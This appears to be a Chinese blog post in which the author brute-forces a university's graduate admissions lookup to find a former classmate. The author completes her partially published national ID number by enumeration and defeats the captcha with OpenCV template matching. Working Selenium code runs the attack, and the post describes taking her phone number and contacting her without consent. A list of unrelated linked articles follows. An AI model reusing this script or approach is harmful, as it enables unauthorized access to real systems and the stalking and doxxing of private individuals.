偶然发现小学女神在某大学读研,想联系一波。十多年没有联系,怎么办?发现研究生录取查询只用身份证号+姓名+验证码,身份证号学校在某些文件公布了14位,剩下四位要穷举,身份证最后一位校验位,倒数第二位性别,倒数第三第四位穷举,算下来也就500种可能,可以接受;姓名当然知道;验证码,学校的验证码也是简单, 位置固定,样式固定,没有噪声,我都难得训练模型来预测,直接样板匹配了。下面是验证码和模板

        

                                   

其实验证码复杂一点也无所谓,阿里云之类的平台有很多收费的api,1块钱100次左右,直接调api也可以。

然后就是用selenium模拟登陆了,其实很简单,很容易上手。

from selenium import webdriver
from PIL import Image
import cv2
import os# 通过模板匹配预测数字
def getNum(roi):nums = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']total = []for i in range(0, 10):sum = 0temp = cv2.imread('/Users/Rubik/PycharmProjects/selenium_demo/' +  nums[i] + '.png')temp = cv2.cvtColor(temp, cv2.COLOR_BGR2GRAY)for row in range(0, 27):for col in range(0, 14):if roi[row][col] == temp[row][col]:sum = sum + 1total.append(sum)print(total)return total.index(max(total))# 保护隐私,这里身份证号的输入用的输入,其实就是自己写一个程序生成可能的身份证号
id = []
for i in range(0, 500):st = input()id.append(st)# 导入驱动
dr = webdriver.Chrome(executable_path = '/Users/Rubik/PycharmProjects/selenium_demo/chromedriver')
for cnt in range(0, 500):dr.get('http://yjscx.hbut.edu.cn/2018chushicjcx/chaxun.asp')dr.maximize_window()window_size = dr.get_window_size()dr.find_element_by_id('name_cnxdb').send_keys("***")    # ‘***’是名字  dr.find_element_by_id('idcard_cnxdb').send_keys(id[cnt])# 截当前网页的图     dr.get_screenshot_as_file('/Users/Rubik/PycharmProjects/selenium_demo/test.png')dr.set_window_position(0, 0)im = Image.open('/Users/Rubik/PycharmProjects/selenium_demo/test.png')#  锁定验证码的位置,截取roi,再来分析im = im.crop((1155, 466, 1235, 493))im.save('/Users/Rubik/PycharmProjects/selenium_demo/code.png')# 通过OpenCV的简单操作判断checkcodeimg = cv2.imread('/Users/Rubik/PycharmProjects/selenium_demo/code.png')img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)cv2.threshold(img, 128, 255, cv2.THRESH_OTSU, img)check = 0# 字符的位置其实就是长27, 宽14,起始左上角(0,0)for i in range(0, 4):roi = img[0 : 27, i * 20 : i * 20 + 14]check = check * 10 + getNum(roi)dr.find_element_by_name('checkcode').send_keys(check)dr.find_element_by_name('submit').click()   # submitcv2.waitKey(2000)    # 等两秒看结果print(id[cnt])
dr.close()

最后通过身份证号,查到了录取通知书的联系方式等信息,通过手机号加了微信,尬聊1了小时,毕竟10年没有联系过。

通过selenium,暴力穷举身份证号登陆某网站相关推荐

  1. 真的能1个用户帐号登陆所有网站,问U盟?

    真的能1个用户帐号登陆所有网站,问U盟? "1个用户帐号登陆所有网站",这是笔者在U盟网站首页看到的醒目提示. 是真的能实现吗?如何实现的?好用吗?安全吗?...... 带着一连串 ...

  2. DFS中的回溯法(纯暴力穷举)

    首先回溯法是深度搜索(DFS)的一种,即把所有可能穷举,根据条件筛选出符合条件的路径. 回溯法模板格式 dfs(...){//根据递归终止条件进行筛选 if(符合需要的条件){存储合理路径 retur ...

  3. C++ 求最大公约数 更相减损法 欧几里得算法 暴力穷举法

    两个数的最大公约数是指能同时被他们整除的最大正整数. 两个数的最大公约数等于它们中 较小的数 和 两数之差 的最大公约数. 252和105的最大公约数是21(252 = 21 × 12:105 = 2 ...

  4. hdu 5254(暴力穷举)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=5254 解题思路:暴力枚举即可,没什么好讲的. #include<iostream> #in ...

  5. 整数拼接,拼成最小整数(暴力穷举)

    输入n和n个整数 3 10 20 69 102069 忙着c++.数据结构和离散数学,都没时间写代码了..... #include <iostream> #include <vect ...

  6. 快速穷举TCP连接欺骗攻击-利用SYN Cookies

    摘要   TCP 利用 32比特的 Seq/Ack 序列号来确认每一个连接的可靠性. 此外, 这些32位的序列号还能保证服务器不会被会话劫持,伪造一个服务器发出的初始序列号(ISN) 是个难以实现的技 ...

  7. Java实现穷举_LeetCode 28:实现strStr() Implement strStr()

    爱写bug(ID:icodebugs) 作者:爱写bug 实现 strStr() 函数. 给定一个 haystack 字符串和一个 needle 字符串,在 haystack 字符串中找出 needl ...

  8. python算24点穷举法_24点游戏7节课–第1节-游戏介绍与基本算法 | 学步园

    这仅仅是一个控制台(DOS窗口下)的小游戏--有人欢喜有人烦了.欢喜的是因为可以专心于游戏逻辑自身过程,就算你只学过C++简单的屏幕输入输出(cin.cout ),乃至换用java,C#也可以写这个小 ...

  9. 绝对水题(一些没有被穷举遗忘的角落)

    题目要求: 标题:奇怪的分式     上小学的时候,小明经常自己发明新算法.一次,老师出的题目是:     1/4 乘以 8/5      小明居然把分子拼接在一起,分母拼接在一起,答案是:18/45 ...

最新文章

  1. 谷歌员工怒了 900人联名抗议 刚成立的AI道德委员会处境尴尬
  2. [转载]CentOS 7安装Gnome GUI 图形界面
  3. 团队项目个人进展——Day05
  4. 推荐系统里,你是怎么Embedding的?
  5. “混合”成为IBM Cognos新法宝
  6. 深入理解Kafka(3)-Consumer
  7. SPEC-RFC3261总述
  8. Oracle优化避免索引失效
  9. hdu 5996 dingyeye loves stone(博弈)
  10. 华三 h3c 基于IP子网的vlan
  11. 计算机开关机命令,电脑自动关机命令
  12. linux %s替换命令,linux vi 替换命令
  13. c++ strcmp函数
  14. 高中计算机期末工作总结,高中信息技术期末教学工作总结
  15. Excel函数大全四《查找与引用函数》
  16. 泛式的extends和supper
  17. gcc ------ 编译与链接选项及CFLAGS、LDFLAGS、LIBS
  18. solidity 中的时间_Solidity官方文档中文版.pdf
  19. STM32系列(HAL库)——F103C8T6点亮1.44寸TFT-LCD彩屏
  20. wpa_supplicant 工具操作wifi模块

热门文章

  1. unexpected error: start:null (global id space) type:null end:null (global id space) is missing START
  2. Excel一元线性回归示例与演算步骤详解含源码及注释
  3. CentOS8 TFTP部署
  4. 32位下的内存地址分布
  5. windows快速命令
  6. 合同法律风险管理 合同的精神
  7. サンドイッチ大好き!なんでもはさんで挑戦!
  8. android安卓手机变身无线网卡,实现“畅无线“电脑版”台式机笔记本通杀
  9. 老年人计算机培训信息,铁四社区开展老年人计算机培训班
  10. 第一期 前言 《手机就是开发板》